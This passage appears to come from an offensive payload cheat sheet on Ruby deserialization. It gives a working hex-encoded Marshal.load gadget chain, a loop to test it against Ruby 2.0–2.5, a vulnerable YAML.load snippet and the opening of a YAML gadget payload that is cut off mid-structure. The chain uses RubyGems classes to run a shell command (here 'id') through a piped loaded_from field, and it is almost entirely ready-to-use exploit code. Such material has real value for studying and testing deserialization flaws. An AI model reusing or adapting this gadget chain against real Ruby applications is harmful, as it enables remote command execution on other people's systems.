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1.4 KiB
1.4 KiB
Ruby Deserialization
Marshal.load
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
Yaml.load
Vulnerable code
require "yaml"
YAML.load(File.read("p.yml"))
Exploitation code
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source::SpecificFile
spec: &1 !ruby/object:Gem::StubSpecification
loaded_from: "|id 1>&2"
- !ruby/object:Gem::Source::SpecificFile
spec: